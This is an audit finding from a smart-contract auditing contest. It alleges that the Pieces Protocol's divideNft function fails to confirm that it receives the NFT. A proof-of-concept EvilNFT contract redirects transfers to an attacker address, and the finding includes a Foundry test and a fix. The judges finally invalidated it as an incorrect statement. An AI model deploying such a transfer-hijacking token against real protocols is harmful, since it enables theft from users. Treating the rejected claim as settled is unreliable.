Pieces Protocol

First Flight #32
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Invalid

The Protocol is vulnerable to Weird ERC721 attack, the function `divideNft` does not check if NFT is transferred to the tokenDivider contract. And will eventually break the claimNFT function

Description:

The function divideNft function only verifies that the caller is no longer the owner after the NFT transfer,
but it does not ensure that the NFT is actually transferred to the tokenDivider contract.

function divideNft(address nftContract, uint256 tokenId, uint256 amount) external {
...
IERC721(nftAddress).safeTransferFrom(msg.sender, address(this), tokenId, "");
@> if(IERC721(nftAddress).ownerOf(tokenId) == msg.sender) { revert TokenDivider__NftTransferFailed(); }
...
}

Impact:

If a malicious NFT contract is passed in,
the NFT may not be transferred to the tokenDivider contract,
but still pass the divideNft function and become available for sale.

Proof of Concept:

add a WeirdERC721Mock contract in test/attacker/EvilNFT.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
contract EvilNFT is ERC721, Ownable {
uint256 private _tokenIdCounter;
address public interceptor;
constructor() ERC721("EvilNFT", "EVL") Ownable(msg.sender) {}
function setInterceptor(address _interceptor) public onlyOwner {
interceptor = _interceptor;
}
function mint(address to) public onlyOwner {
_safeMint(to, _tokenIdCounter);
_tokenIdCounter++;
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override {
if(interceptor != address(0)) {
super.safeTransferFrom(from, interceptor, tokenId, data);
}else{
super.safeTransferFrom(from, to, tokenId, data);
}
}
}

then add the following in test/unit/TokenDividerTest.t.sol

address public HACKER = makeAddr("hacker");
address public HACKER2 = makeAddr("hacker2");
...
modifier setupEvilNFT(){
vm.startPrank(HACKER);
evilNFT = new EvilNFT();
evilNFT.setInterceptor(HACKER2);
evilNFT.mint(HACKER);
vm.stopPrank();
_;
}
...
function testEvilDivideNft() public setupEvilNFT {
assertEq(HACKER, evilNFT.ownerOf(TOKEN_ID));
vm.startPrank(HACKER);
evilNFT.approve(address(tokenDivider), TOKEN_ID);
tokenDivider.divideNft(address(evilNFT), TOKEN_ID, AMOUNT);
vm.stopPrank();
// tokenDivider does not own the NFT after divideNft
assertEq(evilNFT.ownerOf(TOKEN_ID), HACKER2);
}

and run the test forge test --mt testEvilDivideNft

Recommended Mitigation:

check if the NFT is owned by the tokenDivider contract

function divideNft(address nftContract, uint256 tokenId, uint256 amount) external {
...
IERC721(nftAddress).safeTransferFrom(msg.sender, address(this), tokenId, "");
- if(IERC721(nftAddress).ownerOf(tokenId) == msg.sender) { revert TokenDivider__NftTransferFailed(); }
+ if(IERC721(nftAddress).ownerOf(tokenId) != address(this)) { revert TokenDivider__NftTransferFailed(); }
...
}
Updates

Lead Judging Commences

fishy Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Malicious ERC721 Tokens

Appeal created

riceee Auditor
5 months ago
0xalexsr Auditor
5 months ago
fishy Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Malicious ERC721 Tokens

fishy Lead Judge 5 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.